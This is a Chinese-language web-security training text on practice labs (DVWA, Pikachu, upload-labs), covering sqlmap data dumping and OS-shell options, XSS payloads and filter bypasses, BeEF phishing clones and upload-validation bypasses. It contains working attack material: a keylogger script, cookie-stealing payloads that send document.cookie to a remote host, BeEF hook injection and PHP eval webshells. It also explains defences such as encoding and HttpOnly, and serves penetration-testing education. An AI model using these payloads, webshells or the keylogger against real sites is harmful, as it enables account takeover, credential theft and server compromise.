python sqlmap.py -u "http://xxx/sqlmap/pgsql/students.php?id=1" --passwords -v1
列出数据库管理员权限
参数:–privileges
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。
列出数据库管理员角色
参数:–roles
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。
仅适用于当前数据库是Oracle的时候。
列出数据库系统的数据库
参数:–dbs
当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。
列举数据库表
参数:–tables,–exclude-sysdbs,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。
如果你不提供-D参数来指定一个数据库的时候,sqlmap会列出数据库所有库的所有表。
–exclude-sysdbs参数是指可排除系统数据库。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。
列举数据库表中的字段
参数:–columns,-C,-T,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。
如果没有使用-D参数指定数据库时,默认会使用当前数据库。
Brute force:爆破
--common-tables 检查存在共同表 --common-columns 检查存在共同列 User-defined function injection(用户自定义函数注入): --udf-inject 注入用户自定义函数 --shared-lib=SHLIB 共享库的本地路径
File system access:访问文件系统
--file-read=RFILE 从后端的数据库管理系统读取文件 --file-write=WFILE 上传文件到后端的数据库管理系统 --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
从数据库服务器中读取文件
参数:–file-read
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。
python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir;security=low" -p id --file-read "/etc/passwd"
把文件上传到数据库服务器中
参数:–file-write,–file-dest
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。
python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir;security=low" -p id #将本地文件/opt/test_code/user.txt 上传到服务器 /var/www/html/user.txt python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir;security=low" -p id --file-write="/opt/test_code/user.txt" --filedest="/var/www/html/user.txt"
Operating system access:访问操作系统
--os-cmd=OSCMD 执行操作系统命令 --os-shell 交互式的操作系统的shell --os-pwn 获取一个OOB shell,meterpreter或VNC --os-smbrelay 一键获取一个OOB shell,meterpreter或VNC --os-bof 存储过程缓冲区溢出利用 --priv-esc 数据库进程用户权限提升 --msf-path=MSFPATH Metasploit Framework 本地的安装路径 --tmp-path=TMPPATH 远程临时文件目录的绝对路径
获取整个表的数据
参数:–dump,-C,-T,-D,–start,–stop,–first,–last
如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取整个表的所有内容。
使用-D,-T参数指定想要获取哪个库的哪个表,不使用-D参数时,默认使用当前库。
python sqlmap.py -u "http://xxx/sqlmap/firebird/students.php?id=1" --dump -T users --bash # --batch 不用交互式确认
可以获取指定库中的所有表的内容,只用-dump跟-D参数(不使用-T与-C参数)。也可以用-dump跟-C获取指定的字段内容。
sqlmap为每个表生成了一个CSV文件。
范例:
> ./sqlmap.py -r 1.txt --dump -T users --batch ... ... # 同时把密码明文解析出来了 [5 entries] +---------+---------+--------------------------------------------------+-----------+---------------------------------------------+------------+---------------------+--------------+ | user_id | user | avatar | last_name | password | first_name | last_login | failed_login | +---------+---------+--------------------------------------------------+-----------+---------------------------------------------+------------+---------------------+--------------+ | 1 | admin | http://124.222.171.19/hackable/users/admin.jpg | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | 2023-05-31 02:50:54 | 0 | | 2 | gordonb | http://124.222.171.19/hackable/users/gordonb.jpg | Brown | e99a18c428cb38d5f260853678922e03 (abc123) | Gordon | 2023-05-31 02:50:54 | 0 | | 3 | 1337 | http://124.222.171.19/hackable/users/1337.jpg | Me | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Hack | 2023-05-31 02:50:54 | 0 | | 4 | pablo | http://124.222.171.19/hackable/users/pablo.jpg | Picasso | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Pablo | 2023-05-31 02:50:54 | 0 | | 5 | smithy | http://124.222.171.19/hackable/users/smithy.jpg | Smith | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Bob | 2023-05-31 02:50:54 | 0 | +---------+---------+--------------------------------------------------+-----------+---------------------------------------------+------------+---------------------+--------------+
如果你只想获取一段数据,可以使用–start和–stop参数,例如,你只想获取第一段数据可以使用–stop 1,如果想获取第二段与第三段数据,使用参数 –start 1 –stop 3。
也可以用–first与–last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中第三个字符到第五个字符的内容,使用–first 3 –last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。
获取所有数据库表的内容
参数:–dump-all,–exclude-sysdbs
使用–dump-all参数获取所有数据库表的内容,可同时加上–exclude-sysdbs排除系统数据库,只获取用户数据库的表,即业务数据。
搜索字段,表,数据库
参数:–search,-C,-T,-D
–search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。
可以在以下三种情况下使用:
-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。 -T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名 -D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。
运行任意操作系统命令
参数:–os-cmd,–os-shell
python sqlmap.py -u "127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir; security=low" -p id --os-cmd id --batch
用–os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。
爬取网站URL
参数:–crawl
sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。此时的URL可以不带参数。
例子:
python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --crawl=3
定义dump数据的格式
参数:–dump-format
输出的格式可定义为:CSV,HTML,SQLITE
忽略在会话文件中存储的查询结果
参数:–fresh-queries
忽略session文件保存的查询缓存,重新查询。
自定义输出的路径
参数:–output-dir
sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:–output-dir=/tmp
实际利用(dvwa)
当给sqlmap这么一个url的时候,它会:
1、判断可注入的参数 2、判断可以使用哪种SQL注入技术来注入 3、识别出哪种数据库 4、根据用户选择,读取哪些数据
如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数
0、只显示python错误以及严重的信息 1、同时显示基本信息和警告信息(默认) 2、同时显示debug信息 3、同时显示注入的payload 4、同时显示HTTP请求 5、同时显示HTTP响应头 6、同时显示HTTP响应页面
如果你想看到sqlmap发送的测试payload最好的等级就是3。
# 判断注入点,因系统需要登录所以要加cookie python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir;security=low" -p id # 检测站点包含哪些数据库 python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir;security=low" -p id --dbs
技巧:在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数“–batch”命令来自动答复和判断
可以看到有4个数据库,我们选择dvwa数据库获取表名
sqlmap -u http://127.0.0.1/vulnerabilities/sqli/?id=1 -D dvwa --tables
获取指定数据库中的表名 -D后接指定的数据库名称
可以看到,dvwa里面有两张表,分别是guestbook,users。选择users表获取表中的字段
sqlmap -u http://127.0.0.1/vulnerabilities/sqli/?id=1 -D dvwa -T users --columns
可以看到里面有password,直接获取我们想要的内容
sqlmap -u http://127.0.0.1/vulnerabilities/sqli/?id=1 -D dvwa -T users -C last_name,password --dump
重点总结:
- SQL注入原理,手工SQL注入方式
- SQL注入防御方法和原理
- sqlmap使用方式
练习:
- 要求:零基础的人员能够看懂
- SQL注入教程
- 攻击
- 如何识别sql注入
- SQL注入分类
- 不同类别注入方法
- 不同类别的注入原理
- 使用的各种函数和原理
- 如何识别sql注入
- 防御
- 防御方法有几种
- 不同防御方法的原理和方式
- 防御方法有几种
- 攻击
- sqlmap教程
- sqlmap使用
- 各种参数的使用
- 使用场景
- 自身经验
- 各种参数的使用
- sqlmap使用
XSS 漏洞攻防
主要内容:
- XSS 基本概念和原理
- 反射型、存储型、DOM型实战
- XSS 钓鱼及盲打演示
- XSS 平台搭建及 Cookie 获取
- 反射型 XSS(POST) 获取用户密码
- XSS 钓鱼测试
- XSS 获取键盘记录
- XSS 盲打
- BeEF XSS
- XSS 防御绕过
- XSS 绕过之 htmlspecialchars() 函数
- XSS 安全防御
XSS基本概念和原理介绍
基本概念
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意 攻击者往Web页面里插入恶意JavaScript代码,当用户浏览该页面时,嵌入Web里面的JS代码会被执行,从而达到恶意攻击用户的目的 。XSS攻击针对的是用户层面的攻击。
在Web页面上,有一种很常见的功能是:将用户输入的内容输出到页面上。但是如果这里输入的内容是一段经过构造的JS代码,提交之后再次访问这个页面时,用户就会获取该JS代码在浏览器端执行的结果。通过构造其他相应的代码,攻击者可以执行更具危害的操作。
XSS分类
反射型
非持久型,常见的就是在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务器发起一个GET请求来提交带有恶意代码的链接。造成反弹型XSS主要是GET类型。
- 黑客:发送带有 XSS 恶意脚本的链接
- 用户:用户点击了恶意链接,访问了目标服务器
- 正常服务器:网站将XSS同正常页面返回到用户浏览器
- 用户:用户浏览器解析了网页中的XSS恶意代码,向恶意服务器发起请求
- 黑客:黑客从自己搭建的恶意服务器中获取用户提交的信息
存储型
持久型,常见的就是在博客留言板、反馈投诉、论坛评论,将恶意代码和正文都存入服务器的数据库。
每次访问都会触发恶意代码。 例如: <srcipt>alert(/xss/)</srcipt>
- 黑客:黑客在目录服务器上构造XSS恶意脚本,保存在数据库中或其它媒介
- 用户:用户在网站登录状态下,访问了目标服务器,查看了存在恶意脚本的页面
- 正常服务器:网站将XSS同正常页面返回到用户浏览器
- 用户:用户浏览器解析了网页中的XSS恶意代码,向恶意服务器发起请求
- 黑客:黑客从自己搭建的恶意服务器中获取用户提交的信息
DOM型
在讲解DOM-XSS之前,先以图来说明到底什么是DOM:
文档对象模型Document Object Model(DOM)是一个与平台、编程语言不相干的接口,允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果会成为展示页面的一部分。
DOM型XSS其实是一种特殊类型的反射型XSS,也被称作本地跨站,它是基于DOM文档对象模型的一种漏洞。DOM XSS和反射型XSS、存储型XSS的区别在于DOM XSS代码并不需要服务器参与,触发XSS靠的是浏览器的DOM解析,完全是客户端的事情。
DOM中有很多对象,其中一些对象可以被用户所操纵,如url,location等。客户端的脚本程序可以通过DOM来动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而是从客户端取得DOM中的数据后并在本地执行,因此仅从服务器端是没有办法防御DOM型XSS漏洞的,如若DOM中的数据没有经过严格的验证,便会产生基于DOM的XSS漏洞。
手工测试
这里我们选取 DVWA靶场
进行手工测试
反射型 XSS 测试
Low
输入下方代码即可触发XSS
<script>alert(1)</script>
html事件
句柄:
HTML 4.0 的新特性之一是有能力使 HTML 事件触发浏览器中的动作(action),比如当用户点击某个HTML 元素时启动一段 JavaScript。下面是一个属性列表,这些属性可插入 HTML 标签来定义事件动作。
属性 | 当以下情况发生时,出现此事件 | FF | N | IE |
onabort | 图像加载被中断 | 1 | 3 | 4 |
onblur | 元素失去焦点 | 1 | 2 | 3 |
onchange | 用户改变域的内容 | 1 | 2 | 3 |
onclick | 鼠标点击某个对象 | 1 | 2 | 3 |
ondblclick | 鼠标双击某个对象 | 1 | 4 | 4 |
onerror | 当加载文档或图像时发生某个错误 | 1 | 3 | 4 |
onfocus | 元素获得焦点 | 1 | 2 | 3 |
onkeydown | 某个键盘的键被按下 | 1 | 4 | 3 |
onkeypress | 某个键盘的键被按下或按住 | 1 | 4 | 3 |
onkeyup | 某个键盘的键被松开 | 1 | 4 | 3 |
onload | 某个页面或图像被完成加载 | 1 | 2 | 3 |
onmousedown | 某个鼠标按键被按下 | 1 | 4 | 4 |
onmousemove | 鼠标被移动 | 1 | 6 | 3 |
onmouseout | 鼠标从某元素移开 | 1 | 4 | 4 |
onmouseover | 鼠标被移到某元素之上 | 1 | 2 | 3 |
onmouseup | 某个鼠标按键被松开 | 1 | 4 | 4 |
onreset | 重置按钮被点击 | 1 | 3 | 4 |
onresize | 窗口或框架被调整尺寸 | 1 | 4 | 4 |
onselect | 文本被选定 | 1 | 2 | 3 |
onsubmit | 提交按钮被点击 | 1 | 2 | 3 |
onunload | 用户退出页面 | 1 | 2 | 3 |
说明:
FF,N,IE: 代表不同的浏览器
1 3 4:代表支持的最低的版本号
img标签支持onerror事件,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件。想要在某个标签中运用事件,先去查询一下该标签是否支持对应事件。
<img src=## onerror=alert(document.cookie)>
a标签支持onmouseover事件,需要鼠标移动到 a 标签的位置才能触发
<a onmouseover=alert(document.cookie)>xxs link</a>
DOM XSS
反弹cookie
<script>var img=document.createElement("img");img.src=alert(document.cookie);</script>
发送cookie到远程服务器
<script>var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie); </script>
Medium
可以看到代码中替换了 <script> 标签
发现<script>标签被过滤了,尝试使用大小写混淆或者双写绕过: 大小写混淆:<ScRipt>alert(/xss/)</script> 双写绕过:<sc<script>ript>alert(/xss/)</script> 其他标签:<img src=x OnerrOr=alert(/xss/)>
High
存储型 XSS 测试
Low
<img src=## onerror=alert(document.cookie)>
Medium
分析发现先是判断是否为空,如果不为空再判断其中的内容如果有 <script> 就替换成空,复写就可以绕过
<sc<script>ript>alert(document.cookie)</script>
在message框把所有的特殊字符都进行了addslashes转义,在name框仍然可以用复写绕过,但是name处限制了长度:
addslashes()函数返回在预定义字符之前添加反斜杠的字符串
- 预定义字符是:
单引号'
双引号"
反斜杠\
NULL
1.可以使用burpsuite抓包修改
2.鼠标选中form表单后右键选择检查,直接修改前端代码的 maxlength ,之后就可以正常输入了,我这里修改为 1000
High
限制使用 script 标签,我们使用之前的 img 标签就可以绕过
<img src=## onerror=alert(document.cookie)>
XSS盲打
Pikachu安装
docker pull area39/pikachu docker run -d --name pikachu -p 8083:80 -p 33063:3306 area39/pikachu
XSS盲打是一种攻击场景,也是属于存储型XSS类型。
盲打的意思是无法直接在前端看到反馈效果,只有后台能看到输入的内容,从前端无法判断是否存在XSS,这种情况下,我们直接往里面插入XSS代码,然后等待,当管理员查看时就会遭到xss攻击。
输入常规的payload,点击提交
<script>alert(/xss/)</script>
提交后发现这里提示一段文字,应该是直接打到后台了,找到后台,登录进去看看
后台地址是 http://your_ip/vul/xss/xssblind/admin_login.php ,根据用户名/密码进行登录,即可触发xss
XSS键盘记录
查看pikachu自带XSS键盘记录利用脚本 /var/www/html/pkxss/rkeypress/rk.js
/*' * Created by runner on 2018/7/8. */ function createAjax() { var request = false; if (window.XMLHttpRequest) { request = new XMLHttpRequest(); if (request.overrideMimeType) { request.overrideMimeType("text/xml"); } } else if (window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP' ]; for (var i = 0; i < versions.length; i++) { try { request = new ActiveXObject(versions[i]); if (request) { return request; } } catch (e) { request = false; } } } return request; } var ajax = null; var xl = "datax="; function onkeypress() { var realkey = String.fromCharCode(event.keyCode); xl += realkey; //自加,每变化一次加一次 show(); } document.onkeypress = onkeypress; //记录按键 function show() { ajax = createAjax(); ajax.onreadystatechange = function() { if (ajax.readyState == 4) { if (ajax.status == 200) { var data = ajax.responseText; } else { alert("页面请求失败"); } } } var postdate = xl; //xl赋值给postdate ajax.open("POST", "http://127.0.0.1/pkxss/rkeypress/rkserver.php",true); //使用php脚本接收键盘记录的结果, 测试时需修改访问地址 ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); ajax.setRequestHeader("Content-length", postdate.length); ajax.setRequestHeader("Connection", "close"); ajax.send(postdate); //发送postdate }
此处我们修改为 127.0.0.1,即靶场地址
在存储型XSS模块输入payload
<script src="http://127.0.0.1/pkxss/rkeypress/rk.js"></script>
这时payload被加载了。
之后登录XSS后台进行查看,可以看到在留言板写的任何内容,在后台可以获取到键盘记录
pikachu Xss 获取键盘记录结果
XSS平台利用—获取cookie
XSS 没那么厉害可以直接把服务器打下来,XSS是用来盗取信息的,最有用的信息就是cookie值
初始化自带XSS平台
点击 管理工具 -> XSS后台:
初始化之后,通过页面上的用户名/密码进行登录:admin/123456
点击 cookie搜集 模块:
可以看到这时还没有获取到cookie:
前台XSS盲打攻击获取cookie
前端 Cross-Site Scripting –> XSS之盲打模块,需要在此输入payload
查看 cookie收集 页面的源代码,发现其中的pkxss_cookie_result.php
pikachu后端环境中,是通过同一目录下的 cookie.php 文件来获取cookie
XSS盗取cookie payload
// 使用 document.write 向页面中写入一个 img 标签, src访问 cookie.php 并提供 cookie 参数为 document.cookie <script>document.write('<img src="http://127.0.0.1/pkxss/xcookie/cookie.php?cookie='+document.cookie+'"/>')</script>
在xss之盲打页面,写入 payload
提交后显示后台已经收到:"谢谢参与,阁下的看法我们已经收到!"
访问后台地址 http://127.0.0.1/vul/xss/xssblind/admin_login.php 并输入用户名/密码: admin/123456 登录
可以看到插入一张图片
之后查看 XSS 平台中的 cookie搜集 模块可以看到已经盗取到了cookie
这时候回到 admin 后台,点击 退出登录
使用 Cookie-Editor
浏览器插件 修改cookie, 将盗取到的cookie填入
添加好之后,直接访问 http://127.0.0.1/vul/xss/xssblind/admin.php 页面,可以直接登录访问
BeEF-XSS
BeEF(Browser Exploitation Framework)是一款非常强大的Web框架攻击平台,集成了许多payload,可以通过XSS漏洞配合JavaScript脚本和Metasploit进行渗透。基于Ruby语言编写,并且支持图形化界面,操作简单。
BeEF: https://beefproject.com/
支持 Docker 快速安装
$ git clone https://github.com/beefproject/beef $ cd beef $ sudo docker build -t beef . $ sudo docker run -p 3000:3000 -p 6789:6789 -p 61985:61985 -p 61986:61986 --name beef beef
新版 kali 系统自带beef工具。
配置:
# 安装beef sudo apt install beef-xss #配置文件 /usr/share/beef-xss/config.yaml
找到配置文件,修改监听地址为本机IP
在配置文件中修改用户名/密码为 beef/123,否则无法正常启动beef
# 启动beef cd /usr/share/beef-xss ./beef [ 3:47:52] | Hook URL: http://192.168.1.42:3000/hook.js [ 3:47:52] |_ UI URL: http://192.168.1.42:3000/ui/panel [ 3:47:52][*] RESTful API key: 58d3215b8e8a34ed3ecede58cfb617f60e00b9c4
启动后,访问 http://172.22.104.84:3000/ui/panel 页面
会自动跳转到 http://172.22.104.84:3000/ui/authentication 页面
使用 beef/123 进行登录
(1)使用beef克隆其他网站
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"<URL of site to clone>", "mount":"<where to mount>"}' -X POST http://<BeEFURL>/api/seng/clone_page?token=<token> // <URL of site to clone> 需要克隆的网址 // <where to mount> 克隆的页面在服务器的哪个路径访问 // <token> 服务启动时的 beef API key # 克隆 curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://www.xxx.com","mount":"/clone_site_xxx"}' -X POST http://172.22.104.84:3000/api/seng/clone_page?token=ebc5b09df34b36616640567a721371352b6ce8a7
可以看到成功复制页面
浏览器访问beef制作的钓鱼页面后,可以看到有机器上线
(2)使用beef克隆 pikachu 平台的”反射型XSS(post)“的登录页面获取账号密码
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"http://pikachu_ip/vul/xss/xsspost/post_login.php","mount":"/pikachu_xxx"}' -X POST http://kali_ip:3000/api/seng/clone_page?token=XXX
访问 http://kali_ip:3000/pikachu_xxx ,可以看到beef中有机器上线,在页面中进行登录
可以在beef的 logs 模块中查看到提交的 form 表单信息
(3)使用beef克隆 pikachu 平台的”XSS之盲打“页面获取cookie
在”XSS之盲打“中上传hook脚本,让用户触发XSS
<script src="http://192.168.1.42:3000/hook.js"></script>
登录盲打模块的留言板后台,注意使用火狐浏览器,其它浏览器不行,可以看到机器上线选择 Current Browser -> Commands --> Hooked Domain -> Get Cookie
并点击 Execute
获取 cookie
Commands下展示的是可以执行的命令模块,BeEF可以检测出哪些命令模块可以在当前受害的浏览器工作, 并用颜色表示:
- 绿色:命令模块可以在目标浏览器上运行,且用户不会感到任何异常
- 橙色:命令模块可以在目标浏览器上运行,但是用户可能会感到异常(比如可能会有弹窗,提示,跳转等)
- 灰色:命令模块尚未针对此目标进行验证,即不知道能否可运行
- 红色:命令模块不适用于此目标
获取到了 cookie (可以再回到克隆页面,F12查看验证一下cookie值是否对应)
XSS防御绕过
在实际的网站中,或多或少都会做一些安全措施去防御XSS漏洞的攻击,但是这些安全措施也存在方法、逻辑不严谨的情况,可以被绕过。
过滤不严格
Pikachu的XSS过滤中发现,是对标签进行了过滤:
使用大小写或者事件触发成功绕过
<ScRiPt>alert(1)</ScRipt> // 大小写混合绕过 <img src="" onerror=alert(1)> // img标签
HTML实体编码默认配置
前面HTML&JavaScript的讲解中我们说过,XSS漏洞最好的防御方法是做实体编码。HTML实体编码字符为:
& (和号) 成为 & " (双引号) 成为 " ' (单引号) 成为 ' < (小于) 成为 < > (大于) 成为 >
以PHP为例,在PHP中htmlspecialchars()函数是把一些预定义的字符转换为HTML实体,返回转换后的新字符串,原字符串不变。
htmlspecialchars()函数的语法:htmlspecialchars(string,flags,characterset,double_encode)
该函数默认配置下仅过滤掉双引号,只有设置quotestyle的类型,规定如何编码才会过同时滤掉单引号和双引号。
可用的quotestyle类型:
- ENT_COMPAT - 默认,仅编码双引号
- ENT_QUOTES - 编码双引号和单引号
- ENT_NOQUOTES - 不编码任何引号
htmlspecialchars 函数测试
<?php $str = "Bill\" & 'Steve'"; echo htmlspecialchars($str, ENT_COMPAT); // 只转换双引号 echo "\n"; echo htmlspecialchars($str, ENT_QUOTES); // 转换双引号和单引号 echo "\n"; echo htmlspecialchars($str, ENT_NOQUOTES); // 不转换任何引号
到 xss之htmlspecialchars
输入特殊字符' " < > ,查看前端源码,我们看到 " < > 都进行了html实体转码
但是没有对 ' 进行实体转码,可以使用单引号构造payload
#' onclick='alert(/xss/) #' onmousemove='alert(/xss/)
可以看到我们的输入变成了下图所示
点击语句即可触发弹窗
XSS安全防御
通过前面的介绍可以得知,XSS 攻击有两大要素:
1、攻击者提交恶意代码 -- 输入 2、浏览器执行恶意代码 -- 输出
根本的解决方法:从输入到输出都需要过滤、转义。
输入检查
输入检查的逻辑,必须放在服务端代码中实现。如果只是在客户端使用JavaScript进行输入检查,是很容易被攻击者绕过的。目前Web开发的普遍做法,是同时在客户端JavaScript中和服务端代码中实现相同的输入检查。
以下为需过滤的常见字符:
[1] |(竖线符号) [2] & (& 符号) [3];(分号) [4] $(美元符号) [5] %(百分比符号) [6] @(at 符号) [7] '(单引号) [8] "(引号) [9] \'(反斜杠转义单引号) [10] \"(反斜杠转义引号) [11] <>(尖括号) [12] ()(括号) [13] +(加号) [14] CR(回车符,ASCII 0x0d) [15] LF(换行,ASCII 0x0a) [16] ,(逗号) [17] \(反斜杠)
输出检查(编码)
HTML实体编码
在PHP中,有htmlentities()和htmlspecialchars()两个函数可以满足安全要求。
& (和号) 成为 & " (双引号) 成为 " ' (单引号) 成为 ' < (小于) 成为 < > (大于) 成为 >
JavaScript编码
JavaScriptEncode与HtmlEncode的编码方式不同,它需要使用反斜杠"\"对特殊字符进行转义。除了上面的那些转义之外,还要附加上下面的转义:
\ 转成 \\ / 转成 \/ ; 转成 ;(全角;)
HttpOnly
许多 XSS 攻击的目的就是为了获取用户的 cookie,将重要的 cookie 标记为 httponly 属性,这样的话当浏览器向服务端发起请求时就会带上 cookie 字段,但是在脚本中却不能访问 cookie,这样就避免了XSS攻击利用JavaScript的document.cookie 获取 cookie 。
严格来说,HttpOnly 并非阻止 XSS 攻击,而是能阻止 XSS 攻击后的 cookie 劫持攻击。
文件上传及验证绕过
主要内容:
- 上传检测流程概述
- 客户端检测绕过(JS检查)
- 服务端黑名单绕过-特殊可解析后缀
- 服务端黑名单绕过-大小写绕过
- 服务端黑名单绕过-点绕过
- 服务端黑名单绕过-空格绕过
- 服务端黑名单绕过-目录路径检测绕过
- 服务端黑名单绕过-`:$DATA`绕过
- 服务端黑名单绕过-双后缀名绕过
- 服务端白名单绕过-MIME类型检测绕过
- 服务端白名单绕过-%00及0x00截断绕过
- 服务端内容检查绕过-文件头检查
- 服务端内容检查绕过-突破 getimagesize 及 exif jimagetype 函数
- 服务端内容检查绕过-二次渲染绕过
- 服务端内容检查绕过-文件包含绕过
- 代码逻辑-条件竞争绕过
- 文件上传漏洞安全防范
文件上传是Web网页中常见的功能之一,通常情况下恶意文件的上传,会形成漏洞。
大致逻辑是:用户通过上传点上传了恶意文件,通过服务器的校验后保存到指定的位置。当用户访问已经上传成功的文件时,上传的Web脚本会被Web容器解析,从而对网站造成危害。
文件上传的关键点:
- 能不能上传?
- 传到哪里去了?保存位置
- 能不能运行?
文件上传常见点
上传头像 上传相册 上传附件 添加文章图片 前台留言资料上传 编辑器文件上传
例如如下编辑器上传点:
文件管理处文件上传:
前台用户发表文章处文件上传:
个人头像处文件上传:
客户端—JS绕过
# 环境安装 docker pull cuer/upload-labs # 启动upload-labs靶场 docker run --name upload-labs -d -p 8084:80 cuer/upload-labs
访问 http://your_ip:8081 , 选择 Pass-01
Upload-labs(Pass-01)源码分析,通过验证发现是前端JS验证,而前端验证,几乎没有什么防护作用。
禁用JS
浏览器直接禁用JS,先按F12,然后选择 Settings
或按F1,找到禁用JS
phpinfo
<?php phpinfo();?>
PHP一句话木马
<?php eval(@$_GET['a']);?>
直接上传php木马,上传成功
浏览器访问shell
http://IP/upload/get.php?a=system(ls);
使用蚁剑连接木马
<?php eval(@$_POST['a']);?>
后缀名绕过
先把一句话木马改为 .jpg|.png 其中一个后缀,上传,burp suite抓包
修改后缀名为php,上传成功
修改前端代码
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()"> <p>请选择要上传的图片:</p><p> <input class="input_file" type="file" name="upload_file"> <input class="button" type="submit" name="submit" value="上传"> </p></form>
直接修改前端代码,上传,删除 form 标签的 onsubmit 事件即可成功上传
<form enctype="multipart/form-data" method="post" onsubmit=""> ... ...
注意:该方法在Firefox浏览器中生效,但是在Edge、Chrome浏览器中不生效。
服务端黑名单绕过
特殊可解析后缀
Upload-labs(Pass-03)根据源码可以看出,只是做了个简单的后缀名黑名单,识别上传文件的类型是否为 '.asp','.aspx','.php','.jsp' 中的一个,若是其中的一个,则不允许上传。
但是可以上传其他任意后缀。比如说:. phtml .phps .php5 .pht ,但如果上传的是.php5这种类型文件,想要被当成php执行的话,需要有个前提条件:即Apache的httpd.conf有如下配置代码(靶场环境未配置好,仅做上传测试)
。
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空,空格、制表符 if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; // 文件重命名 if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
所以由于服务端采用黑名单的过滤方式,这里可以使用php3或者php5后缀上传,直接修改后缀名,上传成功
右键“复制图像链接”则为shell的链接(此靶机环境测试未解析,仅作上传测试即可)
http://127.0.0.1:8081/upload/202202040857107026.php3
访问上传成功的文件:
大小写绕过(√)
Upload-labs(Pass-06)通过查看源码可以发现,虽然设置了黑名单对常见的后缀进行过滤,但并未对后缀名大小写进行统一。可以利用大小写进行绕过。例如:.PHp
